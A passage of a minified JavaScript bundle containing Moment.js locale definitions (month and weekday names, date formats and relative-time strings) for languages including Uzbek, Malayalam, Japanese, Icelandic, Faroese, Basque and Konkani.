u04ab_\u044d\u0440\u043d_\u0448\u04d1\u043c".split("_"),weekdaysMin:"\u0432\u0440_\u0442\u043d_\u044b\u0442_\u044e\u043d_\u043a\u04ab_\u044d\u0440_\u0448\u043c".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD-MM-YYYY",LL:"YYYY [\u04ab\u0443\u043b\u0445\u0438] MMMM [\u0443\u0439\u04d1\u0445\u04d7\u043d] D[-\u043c\u04d7\u0448\u04d7]",LLL:"YYYY [\u04ab\u0443\u043b\u0445\u0438] MMMM [\u0443\u0439\u04d1\u0445\u04d7\u043d] D[-\u043c\u04d7\u0448\u04d7], HH:mm",LLLL:"dddd, YYYY [\u04ab\u0443\u043b\u0445\u0438] MMMM [\u0443\u0439\u04d1\u0445\u04d7\u043d] D[-\u043c\u04d7\u0448\u04d7], HH:mm"},calendar:{sameDay:"[\u041f\u0430\u044f\u043d] LT [\u0441\u0435\u0445\u0435\u0442\u0440\u0435]",nextDay:"[\u042b\u0440\u0430\u043d] LT [\u0441\u0435\u0445\u0435\u0442\u0440\u0435]",lastDay:"[\u04d6\u043d\u0435\u0440] LT [\u0441\u0435\u0445\u0435\u0442\u0440\u0435]",nextWeek:"[\u04aa\u0438\u0442\u0435\u0441] dddd LT [\u0441\u0435\u0445\u0435\u0442\u0440\u0435]",lastWeek:"[\u0418\u0440\u0442\u043d\u04d7] dddd LT [\u0441\u0435\u0445\u0435\u0442\u0440\u0435]",sameElse:"L"},relativeTime:{future:function(e){return e+(/\u0441\u0435\u0445\u0435\u0442$/i.exec(e)?"\u0440\u0435\u043d":/\u04ab\u0443\u043b$/i.exec(e)?"\u0442\u0430\u043d":"\u0440\u0430\u043d")},past:"%s \u043a\u0430\u044f\u043b\u043b\u0430",s:"\u043f\u04d7\u0440-\u0438\u043a \u04ab\u0435\u043a\u043a\u0443\u043d\u0442",ss:"%d \u04ab\u0435\u043a\u043a\u0443\u043d\u0442",m:"\u043f\u04d7\u0440 \u043c\u0438\u043d\u0443\u0442",mm:"%d \u043c\u0438\u043d\u0443\u0442",h:"\u043f\u04d7\u0440 \u0441\u0435\u0445\u0435\u0442",hh:"%d \u0441\u0435\u0445\u0435\u0442",d:"\u043f\u04d7\u0440 \u043a\u0443\u043d",dd:"%d \u043a\u0443\u043d",M:"\u043f\u04d7\u0440 \u0443\u0439\u04d1\u0445",MM:"%d \u0443\u0439\u04d1\u0445",y:"\u043f\u04d7\u0440 \u04ab\u0443\u043b",yy:"%d \u04ab\u0443\u043b"},dayOfMonthOrdinalParse:/\d{1,2}-\u043c\u04d7\u0448/,ordinal:"%d-\u043c\u04d7\u0448",week:{dow:1,doy:7}})}(n("wd/R"))},AQ68:function(e,t,n){!function(e){"use strict";e.defineLocale("uz-latn",{months:"Yanvar_Fevral_Mart_Aprel_May_Iyun_Iyul_Avgust_Sentabr_Oktabr_Noyabr_Dekabr".split("_"),monthsShort:"Yan_Fev_Mar_Apr_May_Iyun_Iyul_Avg_Sen_Okt_Noy_Dek".split("_"),weekdays:"Yakshanba_Dushanba_Seshanba_Chorshanba_Payshanba_Juma_Shanba".split("_"),weekdaysShort:"Yak_Dush_Sesh_Chor_Pay_Jum_Shan".split("_"),weekdaysMin:"Ya_Du_Se_Cho_Pa_Ju_Sha".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"D MMMM YYYY, dddd HH:mm"},calendar:{sameDay:"[Bugun soat] LT [da]",nextDay:"[Ertaga] LT [da]",nextWeek:"dddd [kuni soat] LT [da]",lastDay:"[Kecha soat] LT [da]",lastWeek:"[O'tgan] dddd [kuni soat] LT [da]",sameElse:"L"},relativeTime:{future:"Yaqin %s ichida",past:"Bir necha %s oldin",s:"soniya",ss:"%d soniya",m:"bir daqiqa",mm:"%d daqiqa",h:"bir soat",hh:"%d soat",d:"bir kun",dd:"%d kun",M:"bir oy",MM:"%d oy",y:"bir yil",yy:"%d yil"},week:{dow:1,doy:7}})}(n("wd/R"))},AvvY:function(e,t,n){!function(e){"use strict";e.defineLocale("ml",{months:"\u0d1c\u0d28\u0d41\u0d35\u0d30\u0d3f_\u0d2b\u0d46\u0d2c\u0d4d\u0d30\u0d41\u0d35\u0d30\u0d3f_\u0d2e\u0d3e\u0d7c\u0d1a\u0d4d\u0d1a\u0d4d_\u0d0f\u0d2a\u0d4d\u0d30\u0d3f\u0d7d_\u0d2e\u0d47\u0d2f\u0d4d_\u0d1c\u0d42\u0d7a_\u0d1c\u0d42\u0d32\u0d48_\u0d13\u0d17\u0d38\u0d4d\u0d31\u0d4d\u0d31\u0d4d_\u0d38\u0d46\u0d2a\u0d4d\u0d31\u0d4d\u0d31\u0d02\u0d2c\u0d7c_\u0d12\u0d15\u0d4d\u0d1f\u0d4b\u0d2c\u0d7c_\u0d28\u0d35\u0d02\u0d2c\u0d7c_\u0d21\u0d3f\u0d38\u0d02\u0d2c\u0d7c".split("_"),monthsShort:"\u0d1c\u0d28\u0d41._\u0d2b\u0d46\u0d2c\u0d4d\u0d30\u0d41._\u0d2e\u0d3e\u0d7c._\u0d0f\u0d2a\u0d4d\u0d30\u0d3f._\u0d2e\u0d47\u0d2f\u0d4d_\u0d1c\u0d42\u0d7a_\u0d1c\u0d42\u0d32\u0d48._\u0d13\u0d17._\u0d38\u0d46\u0d2a\u0d4d\u0d31\u0d4d\u0d31._\u0d12\u0d15\u0d4d\u0d1f\u0d4b._\u0d28\u0d35\u0d02._\u0d21\u0d3f\u0d38\u0d02.".split("_"),monthsParseExact:!0,weekdays:"\u0d1e\u0d3e\u0d2f\u0d31\u0d3e\u0d34\u0d4d\u0d1a_\u0d24\u0d3f\u0d19\u0d4d\u0d15\u0d33\u0d3e\u0d34\u0d4d\u0d1a_\u0d1a\u0d4a\u0d35\u0d4d\u0d35\u0d3e\u0d34\u0d4d\u0d1a_\u0d2c\u0d41\u0d27\u0d28\u0d3e\u0d34\u0d4d\u0d1a_\u0d35\u0d4d\u0d2f\u0d3e\u0d34\u0d3e\u0d34\u0d4d\u0d1a_\u0d35\u0d46\u0d33\u0d4d\u0d33\u0d3f\u0d2f\u0d3e\u0d34\u0d4d\u0d1a_\u0d36\u0d28\u0d3f\u0d2f\u0d3e\u0d34\u0d4d\u0d1a".split("_"),weekdaysShort:"\u0d1e\u0d3e\u0d2f\u0d7c_\u0d24\u0d3f\u0d19\u0d4d\u0d15\u0d7e_\u0d1a\u0d4a\u0d35\u0d4d\u0d35_\u0d2c\u0d41\u0d27\u0d7b_\u0d35\u0d4d\u0d2f\u0d3e\u0d34\u0d02_\u0d35\u0d46\u0d33\u0d4d\u0d33\u0d3f_\u0d36\u0d28\u0d3f".split("_"),weekdaysMin:"\u0d1e\u0d3e_\u0d24\u0d3f_\u0d1a\u0d4a_\u0d2c\u0d41_\u0d35\u0d4d\u0d2f\u0d3e_\u0d35\u0d46_\u0d36".split("_"),longDateFormat:{LT:"A h:mm -\u0d28\u0d41",LTS:"A h:mm:ss -\u0d28\u0d41",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm -\u0d28\u0d41",LLLL:"dddd, D MMMM YYYY, A h:mm -\u0d28\u0d41"},calendar:{sameDay:"[\u0d07\u0d28\u0d4d\u0d28\u0d4d] LT",nextDay:"[\u0d28\u0d3e\u0d33\u0d46] LT",nextWeek:"dddd, LT",lastDay:"[\u0d07\u0d28\u0d4d\u0d28\u0d32\u0d46] LT",lastWeek:"[\u0d15\u0d34\u0d3f\u0d1e\u0d4d\u0d1e] dddd, LT",sameElse:"L"},relativeTime:{future:"%s \u0d15\u0d34\u0d3f\u0d1e\u0d4d\u0d1e\u0d4d",past:"%s \u0d2e\u0d41\u0d7b\u0d2a\u0d4d",s:"\u0d05\u0d7d\u0d2a \u0d28\u0d3f\u0d2e\u0d3f\u0d37\u0d19\u0d4d\u0d19\u0d7e",ss:"%d \u0d38\u0d46\u0d15\u0d4d\u0d15\u0d7b\u0d21\u0d4d",m:"\u0d12\u0d30\u0d41 \u0d2e\u0d3f\u0d28\u0d3f\u0d31\u0d4d\u0d31\u0d4d",mm:"%d \u0d2e\u0d3f\u0d28\u0d3f\u0d31\u0d4d\u0d31\u0d4d",h:"\u0d12\u0d30\u0d41 \u0d2e\u0d23\u0d3f\u0d15\u0d4d\u0d15\u0d42\u0d7c",hh:"%d \u0d2e\u0d23\u0d3f\u0d15\u0d4d\u0d15\u0d42\u0d7c",d:"\u0d12\u0d30\u0d41 \u0d26\u0d3f\u0d35\u0d38\u0d02",dd:"%d \u0d26\u0d3f\u0d35\u0d38\u0d02",M:"\u0d12\u0d30\u0d41 \u0d2e\u0d3e\u0d38\u0d02",MM:"%d \u0d2e\u0d3e\u0d38\u0d02",y:"\u0d12\u0d30\u0d41 \u0d35\u0d7c\u0d37\u0d02",yy:"%d \u0d35\u0d7c\u0d37\u0d02"},meridiemParse:/\u0d30\u0d3e\u0d24\u0d4d\u0d30\u0d3f|\u0d30\u0d3e\u0d35\u0d3f\u0d32\u0d46|\u0d09\u0d1a\u0d4d\u0d1a \u0d15\u0d34\u0d3f\u0d1e\u0d4d\u0d1e\u0d4d|\u0d35\u0d48\u0d15\u0d41\u0d28\u0d4d\u0d28\u0d47\u0d30\u0d02|\u0d30\u0d3e\u0d24\u0d4d\u0d30\u0d3f/i,meridiemHour:function(e,t){return 12===e&&(e=0),"\u0d30\u0d3e\u0d24\u0d4d\u0d30\u0d3f"===t&&e>=4||"\u0d09\u0d1a\u0d4d\u0d1a \u0d15\u0d34\u0d3f\u0d1e\u0d4d\u0d1e\u0d4d"===t||"\u0d35\u0d48\u0d15\u0d41\u0d28\u0d4d\u0d28\u0d47\u0d30\u0d02"===t?e+12:e},meridiem:function(e,t,n){return e<4?"\u0d30\u0d3e\u0d24\u0d4d\u0d30\u0d3f":e<12?"\u0d30\u0d3e\u0d35\u0d3f\u0d32\u0d46":e<17?"\u0d09\u0d1a\u0d4d\u0d1a \u0d15\u0d34\u0d3f\u0d1e\u0d4d\u0d1e\u0d4d":e<20?"\u0d35\u0d48\u0d15\u0d41\u0d28\u0d4d\u0d28\u0d47\u0d30\u0d02":"\u0d30\u0d3e\u0d24\u0d4d\u0d30\u0d3f"}})}(n("wd/R"))},B55N:function(e,t,n){!function(e){"use strict";e.defineLocale("ja",{eras:[{since:"2019-05-01",offset:1,name:"\u4ee4\u548c",narrow:"\u32ff",abbr:"R"},{since:"1989-01-08",until:"2019-04-30",offset:1,name:"\u5e73\u6210",narrow:"\u337b",abbr:"H"},{since:"1926-12-25",until:"1989-01-07",offset:1,name:"\u662d\u548c",narrow:"\u337c",abbr:"S"},{since:"1912-07-30",until:"1926-12-24",offset:1,name:"\u5927\u6b63",narrow:"\u337d",abbr:"T"},{since:"1873-01-01",until:"1912-07-29",offset:6,name:"\u660e\u6cbb",narrow:"\u337e",abbr:"M"},{since:"0001-01-01",until:"1873-12-31",offset:1,name:"\u897f\u66a6",narrow:"AD",abbr:"AD"},{since:"0000-12-31",until:-1/0,offset:1,name:"\u7d00\u5143\u524d",narrow:"BC",abbr:"BC"}],eraYearOrdinalRegex:/(\u5143|\d+)\u5e74/,eraYearOrdinalParse:function(e,t){return"\u5143"===t[1]?1:parseInt(t[1]||e,10)},months:"1\u6708_2\u6708_3\u6708_4\u6708_5\u6708_6\u6708_7\u6708_8\u6708_9\u6708_10\u6708_11\u6708_12\u6708".split("_"),monthsShort:"1\u6708_2\u6708_3\u6708_4\u6708_5\u6708_6\u6708_7\u6708_8\u6708_9\u6708_10\u6708_11\u6708_12\u6708".split("_"),weekdays:"\u65e5\u66dc\u65e5_\u6708\u66dc\u65e5_\u706b\u66dc\u65e5_\u6c34\u66dc\u65e5_\u6728\u66dc\u65e5_\u91d1\u66dc\u65e5_\u571f\u66dc\u65e5".split("_"),weekdaysShort:"\u65e5_\u6708_\u706b_\u6c34_\u6728_\u91d1_\u571f".split("_"),weekdaysMin:"\u65e5_\u6708_\u706b_\u6c34_\u6728_\u91d1_\u571f".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY/MM/DD",LL:"YYYY\u5e74M\u6708D\u65e5",LLL:"YYYY\u5e74M\u6708D\u65e5 HH:mm",LLLL:"YYYY\u5e74M\u6708D\u65e5 dddd HH:mm",l:"YYYY/MM/DD",ll:"YYYY\u5e74M\u6708D\u65e5",lll:"YYYY\u5e74M\u6708D\u65e5 HH:mm",llll:"YYYY\u5e74M\u6708D\u65e5(ddd) HH:mm"},meridiemParse:/\u5348\u524d|\u5348\u5f8c/i,isPM:function(e){return"\u5348\u5f8c"===e},meridiem:function(e,t,n){return e<12?"\u5348\u524d":"\u5348\u5f8c"},calendar:{sameDay:"[\u4eca\u65e5] LT",nextDay:"[\u660e\u65e5] LT",nextWeek:function(e){return e.week()!==this.week()?"[\u6765\u9031]dddd LT":"dddd LT"},lastDay:"[\u6628\u65e5] LT",lastWeek:function(e){return this.week()!==e.week()?"[\u5148\u9031]dddd LT":"dddd LT"},sameElse:"L"},dayOfMonthOrdinalParse:/\d{1,2}\u65e5/,ordinal:function(e,t){switch(t){case"y":return 1===e?"\u5143\u5e74":e+"\u5e74";case"d":case"D":case"DDD":return e+"\u65e5";default:return e}},relativeTime:{future:"%s\u5f8c",past:"%s\u524d",s:"\u6570\u79d2",ss:"%d\u79d2",m:"1\u5206",mm:"%d\u5206",h:"1\u6642\u9593",hh:"%d\u6642\u9593",d:"1\u65e5",dd:"%d\u65e5",M:"1\u30f6\u6708",MM:"%d\u30f6\u6708",y:"1\u5e74",yy:"%d\u5e74"}})}(n("wd/R"))},BVg3:function(e,t,n){!function(e){"use strict";function t(e){return e%100==11||e%10!=1}function n(e,n,a,r){var i=e+" ";switch(a){case"s":return n||r?"nokkrar sek\xfandur":"nokkrum sek\xfandum";case"ss":return t(e)?i+(n||r?"sek\xfandur":"sek\xfandum"):i+"sek\xfanda";case"m":return n?"m\xedn\xfata":"m\xedn\xfatu";case"mm":return t(e)?i+(n||r?"m\xedn\xfatur":"m\xedn\xfatum"):n?i+"m\xedn\xfata":i+"m\xedn\xfatu";case"hh":return t(e)?i+(n||r?"klukkustundir":"klukkustundum"):i+"klukkustund";case"d":return n?"dagur":r?"dag":"degi";case"dd":return t(e)?n?i+"dagar":i+(r?"daga":"d\xf6gum"):n?i+"dagur":i+(r?"dag":"degi");case"M":return n?"m\xe1nu\xf0ur":r?"m\xe1nu\xf0":"m\xe1nu\xf0i";case"MM":return t(e)?n?i+"m\xe1nu\xf0ir":i+(r?"m\xe1nu\xf0i":"m\xe1nu\xf0um"):n?i+"m\xe1nu\xf0ur":i+(r?"m\xe1nu\xf0":"m\xe1nu\xf0i");case"y":return n||r?"\xe1r":"\xe1ri";case"yy":return t(e)?i+(n||r?"\xe1r":"\xe1rum"):i+(n||r?"\xe1r":"\xe1ri")}}e.defineLocale("is",{months:"jan\xfaar_febr\xfaar_mars_apr\xedl_ma\xed_j\xfan\xed_j\xfal\xed_\xe1g\xfast_september_okt\xf3ber_n\xf3vember_desember".split("_"),monthsShort:"jan_feb_mar_apr_ma\xed_j\xfan_j\xfal_\xe1g\xfa_sep_okt_n\xf3v_des".split("_"),weekdays:"sunnudagur_m\xe1nudagur_\xferi\xf0judagur_mi\xf0vikudagur_fimmtudagur_f\xf6studagur_laugardagur".split("_"),weekdaysShort:"sun_m\xe1n_\xferi_mi\xf0_fim_f\xf6s_lau".split("_"),weekdaysMin:"Su_M\xe1_\xder_Mi_Fi_F\xf6_La".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY [kl.] H:mm",LLLL:"dddd, D. MMMM YYYY [kl.] H:mm"},calendar:{sameDay:"[\xed dag kl.] LT",nextDay:"[\xe1 morgun kl.] LT",nextWeek:"dddd [kl.] LT",lastDay:"[\xed g\xe6r kl.] LT",lastWeek:"[s\xed\xf0asta] dddd [kl.] LT",sameElse:"L"},relativeTime:{future:"eftir %s",past:"fyrir %s s\xed\xf0an",s:n,ss:n,m:n,mm:n,h:"klukkustund",hh:n,d:n,dd:n,M:n,MM:n,y:n,yy:n},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},ByF4:function(e,t,n){!function(e){"use strict";e.defineLocale("fo",{months:"januar_februar_mars_apr\xedl_mai_juni_juli_august_september_oktober_november_desember".split("_"),monthsShort:"jan_feb_mar_apr_mai_jun_jul_aug_sep_okt_nov_des".split("_"),weekdays:"sunnudagur_m\xe1nadagur_t\xfdsdagur_mikudagur_h\xf3sdagur_fr\xedggjadagur_leygardagur".split("_"),weekdaysShort:"sun_m\xe1n_t\xfds_mik_h\xf3s_fr\xed_ley".split("_"),weekdaysMin:"su_m\xe1_t\xfd_mi_h\xf3_fr_le".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D. MMMM, YYYY HH:mm"},calendar:{sameDay:"[\xcd dag kl.] LT",nextDay:"[\xcd morgin kl.] LT",nextWeek:"dddd [kl.] LT",lastDay:"[\xcd gj\xe1r kl.] LT",lastWeek:"[s\xed\xf0stu] dddd [kl] LT",sameElse:"L"},relativeTime:{future:"um %s",past:"%s s\xed\xf0ani",s:"f\xe1 sekund",ss:"%d sekundir",m:"ein minuttur",mm:"%d minuttir",h:"ein t\xedmi",hh:"%d t\xedmar",d:"ein dagur",dd:"%d dagar",M:"ein m\xe1na\xf0ur",MM:"%d m\xe1na\xf0ir",y:"eitt \xe1r",yy:"%d \xe1r"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n("wd/R"))},CjzT:function(e,t,n){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),n="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),a=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],r=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es-do",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,a){return e?/-MMM-/.test(a)?n[e.month()]:t[e.month()]:t},monthsRegex:r,monthsShortRegex:r,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:a,longMonthsParse:a,shortMonthsParse:a,weekdays:"domingo_lunes_martes_mi\xe9rcoles_jueves_viernes_s\xe1bado".split("_"),weekdaysShort:"dom._lun._mar._mi\xe9._jue._vie._s\xe1b.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_s\xe1".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY h:mm A",LLLL:"dddd, D [de] MMMM [de] YYYY h:mm A"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[ma\xf1ana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un d\xeda",dd:"%d d\xedas",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un a\xf1o",yy:"%d a\xf1os"},dayOfMonthOrdinalParse:/\d{1,2}\xba/,ordinal:"%d\xba",week:{dow:1,doy:4}})}(n("wd/R"))},CoRJ:function(e,t,n){!function(e){"use strict";e.defineLocale("ar-ma",{months:"\u064a\u0646\u0627\u064a\u0631_\u0641\u0628\u0631\u0627\u064a\u0631_\u0645\u0627\u0631\u0633_\u0623\u0628\u0631\u064a\u0644_\u0645\u0627\u064a_\u064a\u0648\u0646\u064a\u0648_\u064a\u0648\u0644\u064a\u0648\u0632_\u063a\u0634\u062a_\u0634\u062a\u0646\u0628\u0631_\u0623\u0643\u062a\u0648\u0628\u0631_\u0646\u0648\u0646\u0628\u0631_\u062f\u062c\u0646\u0628\u0631".split("_"),monthsShort:"\u064a\u0646\u0627\u064a\u0631_\u0641\u0628\u0631\u0627\u064a\u0631_\u0645\u0627\u0631\u0633_\u0623\u0628\u0631\u064a\u0644_\u0645\u0627\u064a_\u064a\u0648\u0646\u064a\u0648_\u064a\u0648\u0644\u064a\u0648\u0632_\u063a\u0634\u062a_\u0634\u062a\u0646\u0628\u0631_\u0623\u0643\u062a\u0648\u0628\u0631_\u0646\u0648\u0646\u0628\u0631_\u062f\u062c\u0646\u0628\u0631".split("_"),weekdays:"\u0627\u0644\u0623\u062d\u062f_\u0627\u0644\u0625\u062b\u0646\u064a\u0646_\u0627\u0644\u062b\u0644\u0627\u062b\u0627\u0621_\u0627\u0644\u0623\u0631\u0628\u0639\u0627\u0621_\u0627\u0644\u062e\u0645\u064a\u0633_\u0627\u0644\u062c\u0645\u0639\u0629_\u0627\u0644\u0633\u0628\u062a".split("_"),weekdaysShort:"\u0627\u062d\u062f_\u0627\u062b\u0646\u064a\u0646_\u062b\u0644\u0627\u062b\u0627\u0621_\u0627\u0631\u0628\u0639\u0627\u0621_\u062e\u0645\u064a\u0633_\u062c\u0645\u0639\u0629_\u0633\u0628\u062a".split("_"),weekdaysMin:"\u062d_\u0646_\u062b_\u0631_\u062e_\u062c_\u0633".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[\u0627\u0644\u064a\u0648\u0645 \u0639\u0644\u0649 \u0627\u0644\u0633\u0627\u0639\u0629] LT",nextDay:"[\u063a\u062f\u0627 \u0639\u0644\u0649 \u0627\u0644\u0633\u0627\u0639\u0629] LT",nextWeek:"dddd [\u0639\u0644\u0649 \u0627\u0644\u0633\u0627\u0639\u0629] LT",lastDay:"[\u0623\u0645\u0633 \u0639\u0644\u0649 \u0627\u0644\u0633\u0627\u0639\u0629] LT",lastWeek:"dddd [\u0639\u0644\u0649 \u0627\u0644\u0633\u0627\u0639\u0629] LT",sameElse:"L"},relativeTime:{future:"\u0641\u064a %s",past:"\u0645\u0646\u0630 %s",s:"\u062b\u0648\u0627\u0646",ss:"%d \u062b\u0627\u0646\u064a\u0629",m:"\u062f\u0642\u064a\u0642\u0629",mm:"%d \u062f\u0642\u0627\u0626\u0642",h:"\u0633\u0627\u0639\u0629",hh:"%d \u0633\u0627\u0639\u0627\u062a",d:"\u064a\u0648\u0645",dd:"%d \u0623\u064a\u0627\u0645",M:"\u0634\u0647\u0631",MM:"%d \u0623\u0634\u0647\u0631",y:"\u0633\u0646\u0629",yy:"%d \u0633\u0646\u0648\u0627\u062a"},week:{dow:1,doy:4}})}(n("wd/R"))},"D/JM":function(e,t,n){!function(e){"use strict";e.defineLocale("eu",{months:"urtarrila_otsaila_martxoa_apirila_maiatza_ekaina_uztaila_abuztua_iraila_urria_azaroa_abendua".split("_"),monthsShort:"urt._ots._mar._api._mai._eka._uzt._abu._ira._urr._aza._abe.".split("_"),monthsParseExact:!0,weekdays:"igandea_astelehena_asteartea_asteazkena_osteguna_ostirala_larunbata".split("_"),weekdaysShort:"ig._al._ar._az._og._ol._lr.".split("_"),weekdaysMin:"ig_al_ar_az_og_ol_lr".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY[ko] MMMM[ren] D[a]",LLL:"YYYY[ko] MMMM[ren] D[a] HH:mm",LLLL:"dddd, YYYY[ko] MMMM[ren] D[a] HH:mm",l:"YYYY-M-D",ll:"YYYY[ko] MMM D[a]",lll:"YYYY[ko] MMM D[a] HH:mm",llll:"ddd, YYYY[ko] MMM D[a] HH:mm"},calendar:{sameDay:"[gaur] LT[etan]",nextDay:"[bihar] LT[etan]",nextWeek:"dddd LT[etan]",lastDay:"[atzo] LT[etan]",lastWeek:"[aurreko] dddd LT[etan]",sameElse:"L"},relativeTime:{future:"%s barru",past:"duela %s",s:"segundo batzuk",ss:"%d segundo",m:"minutu bat",mm:"%d minutu",h:"ordu bat",hh:"%d ordu",d:"egun bat",dd:"%d egun",M:"hilabete bat",MM:"%d hilabete",y:"urte bat",yy:"%d urte"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n("wd/R"))},"DKr+":function(e,t,n){!function(e){"use strict";function t(e,t,n,a){var r={s:["thoddea sekondamni","thodde sekond"],ss:[e+" sekondamni",e+" sekond"],m:["eka mintan","ek minut"],mm:[e+" mintamni",e+" mintam"],h:["eka voran","ek vor"],hh:[e+" voramni",e+" voram"],d:["eka disan","ek dis"],dd:[e+" disamni",e+" dis"],M:["eka mhoinean","ek mhoino"],MM:[e+" mhoineamni",e+" mhoine"],y:["eka vorsan","ek voros"],yy:[e+" vorsamni",e+" vorsam"]};return a?r[n][0]:r[n][1]}e.defineLocale("gom-latn",{months:{standalone:"Janer_Febrer_Mars_Abril_Mai_Jun_Julai_Agost_Setembr_Otubr_Novembr_Dezembr".split("_"),format:"Janerachea_Febrerachea_Marsachea_Abrilachea_Maiachea_Junachea_Julaiachea_Agostachea_Setembrachea_Otubrachea_Novembrachea_Dezembrachea".split("_"),isFormat:/MMMM(\s)+D[oD]?/},monthsShort:"Jan._Feb._Mars_Abr._Mai_Jun_Jul._Ago._Set._Otu._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Aitar_Somar_Mongllar_Budhvar_Birestar_Sukrar_Son'var".split("_"),weekdaysShort:"Ait._Som._Mon._Bud._Bre._Suk._Son.".split("_"),weekdaysMin:"Ai_Sm_Mo_Bu_Br_Su_Sn".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"A h:mm [vazta]",LTS:"A h:mm:ss [vazta]",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY A h:mm [vazta]",LLLL:"dddd, MMMM Do, YYYY, A h:mm [vazta]",llll:"ddd, D MMM YYYY, A h:mm [vazta]"},calendar:{sameDay:"[Aiz] LT",nextDay:"[Faleam] LT",nextWeek:"[Fuddlo] dddd[,] LT",lastDay:"[Kal] LT",lastWeek:"[Fattlo] dddd[,] LT",sameElse:"L"},relativeTime:{future:"%s",past:"%s adim",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}(er)/,ordinal:function(e,t){switch(t){case"D":return e+"er";default:case"M":case"Q":case"DDD":case"d":case"w":case"W":return e}},week:{dow:0,doy:3},meridiemParse:/rati|sokallim|donparam|sanje/,meridiemHour:function(e,t){return 12===e&&(e=0),"rati"===t?e<4?e:e+12:"sokallim"===t?e:"donparam"===t?e>12?e:e+12:"sanje"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"rati":e<12?"sokallim":e<16?"donparam":e<20?"sanje":"rati"}})}(n("wd/R"))},Dkky:function(e,t,n){!function(e){"use strict";e.defineLocale("fr-ch",{months:"janvier_f\xe9vrier_mars_avril_mai_juin_juillet_ao\xfbt_septembre_octobre_novembre_d\xe9cembre".split("_"),monthsShort:"janv._f\xe9vr._mars_avr._mai_juin_juil._ao\xfbt_sept._oct._nov._d\xe9c.".split("_"),monthsParseExact:!0,weekdays:"dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"),weekdaysShort:"dim._lun._mar._mer._jeu._ven._sam.".split("_"),weekdaysMin:"di_lu_ma_me_je_ve_sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Aujourd\u2019hui \xe0] LT",nextDay:"[Demain \xe0] LT",nextWeek:"dddd [\xe0] LT",lastDay:"[Hier \xe0] LT",lastWeek:"dddd [dernier \xe0] LT",sameElse:"L"},relativeTime:{future:"dans %s",past:"il y a %s",s:"quelques secondes",ss:"%d secondes",m:"une minute",mm:"%d minutes",h:"une heure",hh:"%d heures",d:"un jour",dd:"%d jours",M:"un mois",MM:"%d mois",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(er|e)/,ordinal:function(e,t){switch(t){default:case"M":case"Q":case"D":case"DDD":case"d":return e+(1===e?"er":"e");case"w":case"W":return 